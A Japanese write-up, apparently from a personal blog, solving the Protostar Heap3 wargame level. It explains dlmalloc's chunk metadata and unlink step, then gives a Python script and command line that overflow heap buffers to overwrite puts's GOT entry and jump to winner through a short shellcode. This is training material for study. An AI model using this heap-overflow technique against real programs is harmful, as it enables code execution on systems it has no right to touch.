前3問はよかったのに、これは急に難易度上がりすぎだし不親切なのよくないと思う。

つまりほぼ完全に他の人の解説に頼った。ある程度の理解と成長はしたはずなので許してください。

Protostar Heap3

問題

  • 関数winnerを呼ぶのが目標。
  • mallocfreeがstaticにlinkされている。
    • dlmallocであるとのこと。
    • freeのgotをoverwriteできない。
    • putsのgotは存在する。
  • heapのアドレスは固定。
    • これは与えられたvmの環境によるもの。
    • 手元で試す際はgdbの上で動けば成功としてよい。

解説

攻撃対象のコードは以下である。

int main(int argc, char **argv)
{
    char *a, *b, *c;

    a = malloc(32);
    b = malloc(32);
    c = malloc(32);

    strcpy(a, argv[1]);
    strcpy(b, argv[2]);
    strcpy(c, argv[3]);

    free(c);
    free(b);
    free(a);

    printf("dynamite failed?\n");
}

攻撃の流れは、strcpyでのbuffer overflowを使ってmallocの使うmetadataを書き換え、freeの内部でputsのgotを書き換えさせる。printfは最適化によりputsを呼び出す。

malloc[^1]

mallocは領域を効率良く確保/開放するためのライブラリである。 osに毎回領域を要求すると遅くなるので、まとまった量を確保し、これをchunkという単位に分けてユーザに渡す。

dlmallocはosから直接確保した領域をarenaとして管理する。 arenaはdlmallocが静的領域に持つ根から繋がる単方向連結リストとして保持される。 ただし今回は単一のarenaのみ考えればよい。

各arenaはそれに属する(未使用の)chunkの情報を持つ。 小さいchunkは単方向連結リスト(fastbins)で、大きめのchunkは双方向連結リスト(bins)で持つ。 このリストはそれぞれに関してもさらにchunkの大きさ別に複数本用意され、要求された大きさにちょうど合う未使用chunkを効率よく探せるようになっている。 小さいchunkを単方向に連結するのは時間/空間のoverheadを減らすためで、大きめのchunkを双方向に連結するのは前後の未使用chunkとの併合を効率良く行うため。

使用中のchunkのアドレスはユーザが保持しfreeの際渡されてくるので、arenaでは保持しない。 かなり大きいchunkはmmap systemcallで直接確保しfreeの際は即時munmapされるので、未使用の状態はない。

chunkが持つ情報は、そのchunkの大きさと状態によって変わる。 どのchunkも自分自身のchunkの大きさ(head, size)は保持している。 また、chunkの大きさは4の倍数であるので、このsizeの下位2bitに、そのchunkがmmapで確保されたかどうか(IS_MMAPPED = 0x2)、そのchunkの(空間上で)直前のchunkが使用中であるか(PREV_INUSE = 0x1)の情報が詰め込まれる。 chunkが未使用であれば、その未使用である領域を使って連結リストにおける前後のchunkのアドレスを持つ(fd, bk)。 さらに、大きめのchunkでありかつ(空間上で)直前のchunkが未使用であれば、その未使用の領域を使って直前のchunkの大きさ(prev_foot or prev_size)も保持する。 これにより、大きめのchunkはarenaからポインタを用いて繋がる連結リストに加え、空間上で前後のchunkとのoffsetによる別の連結リストの要素であるともいえる。

開放の処理に関して、小さいchunkであれば前後の領域との併合は試さず未使用chunkのリストにそのまま追加する。 大きめのchunkであれば前後の領域との併合を試す。 (空間上で)直前のchunkが使用中でないようなchunkを開放する際、これらを併合する。 直前のchunkは双方向連結リストの要素であるが、大きさが増加するため、元々のリストからは外され、再度別のリストに追加される。 直後のchunkに関しても同様に併合を試す。ただし直後のchunkが使用中であるかの情報は、直後のchunkの直後のchunkの直前のchunkが使用中であるかどうか、という形で取得される。

攻撃

攻撃に関して、chunkの併合が発生した際のリストからの削除を用いることができる。 chunkのmetadataは以下のようになっている。

// ftp://g.oswego.edu/pub/misc/malloc-2.8.6.c L2182
struct malloc_chunk {
    size_t               prev_foot;  /* Size of previous chunk (if free).  */
    size_t               head;       /* Size and inuse bits. */
    struct malloc_chunk* fd;         /* double links -- used only if free. */
    struct malloc_chunk* bk;
};

chunk pを開放する際(ただしこれはfree(p+8)として呼び出される)、直前のchunk q = p - p->prev_footをそのリストから外す。つまり、

struct malloc_chunk *FD = q->fd;
struct malloc_chunk *BK = q->bk;
FD->bk = BK;  // *(FD + 0xc) = BK;
BK->fd = FD;  // *(BK + 0x8) = FD;

という処理が発生する。 heap上overflowが可能であればFDBKを操作できるので、好きなアドレスへの書き込みが可能となる。

ただし書き込みは複数回発生する。1回の併合に関してFD->bkBK->fdで2回であり、もし前後のchunkの両方と併合するのであれば合計4回となる。 また、BKの値を書き込もうとすればBK->fdを破壊することになるため、BKは書き込み可能な領域近くである必要がある。

よって攻撃の際におさえておくべき点は、

  • chunkの大きさを前後との併合が発生する大きさに変えること
  • 書き込むアドレスは書き込み可能なアドレスにすること
  • 直後のchunkの状態を使用中にしておくこと

の3点であろう。

あとはこれをやる。 exploit exercises - protostar - heap levels | research | sprawl を参照。

実装

#!/usr/bin/env python3
import struct
p32 = lambda x: struct.pack('<I', x % (1<<32))
puts_got = 0x804b128 # $ objdump -R heap3 | grep '\<puts\>'
winner   = 0x8048864 # $ readelf -s heap3 | grep '\<winner\>'
heap     = 0x804c000 # gotten by gdb, but ...
a = b''.join([ # 32byte
    b'AAAA', # heap + 0x8, write here to puts's got
    b'\xeb\x06' + b'AA', # the `call <puts>' jumps to here, shellcode: jmp $eip+6
    b'AAAA', # BK->fd, written as a side effect
    b'\x68\x64\x88\x04', # shellcode: push 0x08048864 <winner>
    b'\x08' + b'\xc3' + b'AA', # shellcode: ret
    b'AAAA',
    b'AAAA',
    b'AAAA',
    ])
b = b''.join([ # 40byte (32byte + 8byte overflow)
    b'BBBB',
    b'BBBB',
    b'BBBB',     # virtual next next chunk addr
    p32(-8 + 1), # virtual next next chunk size and PREV_INUSE
    p32(-4), # virtual next chunk addr
    p32(-8), # virtual next chunk size
    b'BBBB',
    b'BBBB',
    p32(-4),   # prev_size
    p32(-16)]) # size
c = b''.join([ # 12byte
    b'CCCC',
    p32(puts_got - 0xc),  # virtual prev chunk fd
    p32(heap     + 0x8)]) # virtual prev chunk bk
shrepr = lambda x: '$' + repr(x)[1:]
print('$', './heap3', shrepr(a), shrepr(b), shrepr(c))
$ ./heap3 $'AAAA\xeb\x06AAAAAAhd\x88\x04\x08\xc3AAAAAAAAAAAAAA' $'BBBBBBBBBBBB\xf9\xff\xff\xff\xfc\xff\xff\xff\xf8\xff\xff\xffBBBBBBBB\xfc\xff\xff\xff\xf0\xff\xff\xff' $'CCCC\x1c\xb1\x04\x08\x08\xc0\x04\x08'
that wasn't too bad now, was it? @ 1454528650

参考


  • Fri Mar 18 18:47:27 JST 2016
    • 別の問題のため参照したついでにいくらか修正